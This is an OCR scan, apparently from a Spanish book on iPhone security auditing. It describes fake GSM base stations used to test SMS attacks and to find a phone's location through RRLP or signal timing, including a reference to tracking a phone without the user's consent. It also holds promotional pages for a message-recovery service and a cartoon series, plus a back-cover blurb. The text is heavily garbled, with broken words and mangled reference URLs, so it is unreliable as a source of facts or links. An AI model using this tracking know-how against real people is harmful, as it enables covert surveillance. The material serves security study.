y establecimiento de cifrado y por tanto es tedricamente viable para cualquier generacion de
tecenologia movil, incluyendo 3G y LTE.

Ataques mediante SMSs
Una estacion base falsa proporciona un mecanismo ideal para realizar pruchas de ataque sobre
diversas modalidades de SMS:

- SMSs tipo flash.

3| “Fuezing the GSM protocol”. hute/www gnogle.esiurl?sa=tdrci=j&g=openbis?20tesicall¥v20)
fuzsingdesowrce=veb&ed=2&ved=0CEIQT]AB&uri=htp%3A%2F %2 Fwvw. punl %0 2Fpublish e Fpagesbo 2 F

378936252 Fecriptie-biinio-final-brinio_hond.pdf&ei—irr6ULG20AW RO woDgCwdnsg=AT (CNESe(Pkf

olCgUal JO27gNwardhiwdehvm=bv 41 248574,d 7G4

32 “Raseband attacks: Remore Cxploitation of Memory Corruptions in Cellular

Protocol Stacks™. higp:/avww.google. esfuri?sa=i&ret—jdeg - openhits %2 MestcallZa20

Sfuzzing dvanrce—web&od—3& ved=0CFoQF] A Cduri=hitps 3 4% 20 %2 FPvwww,

useniv.org ¥ 2 lsystem a2 lfiles o2 Fconference Y2 Fwoorl 2o Fweotd 2-final 24.

peli&ei=trrdULG204W Ok QezwoDgCwénsg=AF QG UNGgDvIGHwg YREFR W NJor 23 Grx R Q& bvin=bv 41 248874,d. 204
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- SMSs con VCards.

- WAP Push messages.

- MMS (Multimedia Messaging Services).
- (U)SIM Data Dawnload.

Fn laacmalidad, ya se han realizado trabajos que demuesiran como sc puede utilizar la infraestructura
que se describe en este capitulo para realizar firzzing sohre los protocolos transportados mediante
SMS*.

Localizacion geografica de terminales maéviles

La localizacion geogrifica de terminales méviles es una tuncionalidad de los provecdores de
servicio de telefonia movil. recogida en la norma GSM bajo el nombre de 1.CS (Location Services)™.
Esta funcionalidad estd definida con ¢l objetivo de que los operadores puedan ubicar la posicion
geografica de los lerminales mdviles a los que se esté dando servicio, con miltiples propdsitos.

Es posible aprovechar parte de esta especificacion para conocer la ubicacion de un terminal mévil
al que se le esta atacando con la infraestructura de estacion base falsa. Bl protocolo RRLP (Radio
Resouwrce Location Services), definido en la norma GSM como parte del conjunto de protocolos 1.CS
(Lacation Services), permite a la estacion base interrogar al cualquicr (crminal registrado sobre su
posicion geogratica, utilizando para ello los canales de sefializacion GSM™, Ll terminal, si soporta
RRLP*, contestard con su posicién geogréfica, que puede ser obtenida a través de su GPS o mediante
mediciones de las sefiales provenientes de la red. Tanto OpenBTS como OpenBSC soportan este
protocolo por lo que pueden ser usadas con este propdsito®,

Aumn sin hacer uso de las especificaciones de 1.CS (imaginese por ejemplo el caso de un dispositivo
movil que haya deshabilitado intencionadamente todos sus servicios de localizacion), es posible
determinar la posicion de un terminal movil registrado cn una estacién base falsa. Cuando un
terminal estd registrado en una eslacion base y establecido un canal de radio, envia informacion
acerca del retardo y potencia percibida de la sefial. Por otro lado, la estacién base también percibe
el retardo y la potencia de la sciial del movil. Obteniendo esta informacion desde varios puntos
distintos y/o combinando esta informacién con la proporcionada por una antena dircecional, seria
posible establecer la posicion exacta de un movil que se encucnire en ¢l alcance de la estacion base.
Algunos trabajos ya han sido realizados al respecto®.

33 “SMS Vuleerability Analysis on keature Phones™.,
hip:ttwwwisti tu-berlin dedileadminig2 1 4mished _theses/NicoGolde/diplom golde.pdf

34 hupidhvww 3gpp.orgdfip/Specs/im-info/2207 1 him

38 htlpifveenrily. osmocom.orgfivac/wiki/RRLP

3€& Aunque el soporie a RRLP no es obligatorio, la mayoria de los dispositivos moviles actuales lo soportan.
20 hiipefwasinetracdrangepublic/wikifrrlp

38 ditip 200 hack Tudindec php/Listilocating a_GSM_phone_in_a_given area without user consent
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Recover Messages

Recover Messages es un servicio que permite examinar y recuperar datos de aplicaciones que utilizan
SQLire como base de datos. Dichas aplicaciones estan incluidas en smartphones iPhone y Android
principalmente, ejemplos de ello son WheaisApp. Line, SpotBros etcétera.

Cracias a Recover Messages es posible inspeccionar ¥ recuperar la informacién de ficheros SQLire
[acilitados por ¢l usuario, gue seran tralados cn nuestros sistemas o en los de nuestros proveedores
de sistemas de forma automética, y totalmente confidencial, incluyendo por supuesto las medidas
de seguridad pertinentes.

Tanto la incorporacion de ficheros SQLire como la obtencion de los datos que dichos ficheros
almacenan, son giiados paso a paso con asistentes desde la propia web, lo que hace muy sencilla la
utilizacién de este servicio pionero.

El servicio tiene dos modalidades:

- Gratuito. En este caso el usuario tendrda funcionalidades limitadas, siendo posible
unicamente acceder a los mensajes WhaisApp de los dispositivos iPhone y Android.

- Con licencia. En este caso el usuario tendra todas las tfuncionalidades del servicio, que
incluye ademas de las incluidas en la modalidad gratita, la posibilidad de recuperar Mensajes
SMS y Emails de iPhone y Android, ademés de los archivos utilizados con otras aplicaciones
de iPhone como fuenti, SpotBros v Line.

El servicio esta disponible cn castellano v en inglés en hitp:/recovermessages.com

Pantalla principal dc Recover Messages.
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Calico Electronico

Calico Electronico

“Calico Electrénico™ se ha convertido en la serie de animacion Flash mas famosa de Espada. Ln
clave de humor y con una animacion de gran calidad, Calico Electronico es un superhéroe "aspanol”
alejado totalmente del patrdn establecido en los superhéroes: Célico es bajito, gordo, y no tiene
ningin poder. Lo que si tiene es la fijacion de salvar a su ¢ciudad "Elecetrénico City" de cualquier mal.

Lil origen de “Célico Electrénico™ fue una campaiia de marketing de una web. No obstante, ¢l éxito
que tuvo superd todas las expectativas v se cred una identidad propia. “Célico Electronico’ ha hecho
famoso a su creador, Nikodemeo, que a partir de enkomees cred un estudio de animacién llamado
Nikodemo Animation. Tras los éxitos iniciales, la seric luvo 3 temporadas de 6 capitulos cada una,
incluvéndose en ellas unas tomas falsas, al estilo de las peliculas con actores reales. Ademas de
los capitulos oficiales sc hicicron también capitulos especiales, y una serie paralela llamada “Los
huérfanos electronicos™.

En la actualidad los fans de “Célico Electronico™ pueden acceder a multitud de productos de la serie,
va que se han generado nuevos capitulos y se han reeditado los antiguos en alta calidad, dichos
capitulos estdn disponibles para dispositivos iPhone, Windows Phowne, Windows 8 o Android.
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Aplicacion de “Calice Clectronico™ para Hindows Phone.

También ha aumeniado la demanda de productos de Célico, como cémics, DVDs con los capitulos
de la serie, mufiecos, camisetas, tazas, barajas de cartas y un largo etcétera.
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Ejemnplos de productos de la tienda de Cilico Electronico.

Otra novedad son las "Tiras Calico", que se corresponden a unas tiras comicas de 3 o 4 viiietas, al
estilo de otros personajes conocidos como Gartield o Mafalda. Dichas tiras aparecen cada miércoles
y también se pueden ver en los dispositivos mencionados. Ademés los fans tienen la posibilidad
de enviar sus fotos disfrazados de Calico. o enviar sus propios dibujos de este peculiar superhéroe.
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Ejemplo de “Tira Calico™.

* Para que los fans estén informados, se mantiencn varios canales abiertos sobre ¢l producto:
- Twitter: Attps. /twitter.com/CalicoOficial
- Google T'lus: https:/iplus.google.com/107186037128422961 644/posts
- Tuenti: hittp://www.tuenti.com/calicoelectronice
- Youtube: http://wwyoutube.com/calicaelectronicohd

- Facebook: hups:iwww.facebook.com/CalicoElectronicoQficial

Ademas de todo esto, y para mantener vivo el proyeeto, se han realizado trabajos cn el mundo de la
publicidad, visitado una docena de congresos y festivales de cémic, se ha cerrado la ilustracién de
un libro que pronto saldra a la venta y se ha firmado un nuevo comic con Ediciones Babvion que
estd a punto de ver la luz.

Toda la informacién acerca de “Célico Electrénico” y de los productos mencionados esta disponible
en hiip://www.calicoelectronico.com/



A dia dc hoy se han vendido mas de 500 millones de dispesitivos i0S y aungue la segurldad-
del sistema ha mejorado con cada version todavia se pueden encontrar vulnerabilidades a
explotar, Hay que recordar que el punto mas débil en un sistema son los usuarios, una co
figuracién por defecto o incorrecta, la falta de actualizacion del sisterna, o simplemernte €l
desconocimiento del usuario propician y hacen mas gue probabie un al;aque exltosa
sistema, con todao el peligra que ello conlieva.

Las aud;tar!as de seguridad en empresas cada vez se encuentran con mas dfspomtlws
entre sus objetivos. Las politicas de BYOD (Bring Your Own Device) hacen que cada ve:
empleados utilicen sus iPhone o iPad en sus puestes de trabajo, con sus aplicaciones corpo-
rativas, y desde las redes de las empresas, lo gue hace que haya que pensar en eﬂcﬁ : (
posibles riesgos de seguridad. ;
En este libro se han juntado un nutrido grupo de expertcs en segunciad enla
recopilar en un texto, todas las formas de atacar un terminal iPhone o iPad d
determinado. ' Utilizando metodologias aplicables 'a cualquier sistema, na
MITM (Man In The Middle}, conexion a puntos de accesu suplantados'(AP :
ataques Client-Side, atagues en redes Wireless, atagues en local, at: g
plataforma i0S como JaillOwnMe, el robo de datos a través del backup que se
y cémo utilizar las técnicas de Jailbreak en pmvecho de an. auditor, son algu
aspectos gue se tratan.
Tarmbién se presenta una vision g!obal sobre 1a arquitm:tura
guiade por pruebas de cancepto con un enfoque emmentem

Tricks, peguefos truccs a realizar en un dlspasztrm }Phone temendo--a
med iante los que se podra consultar la agenda de contactos medlaml;&
imdgenes obtenidas con la cdmara del dispositivo.
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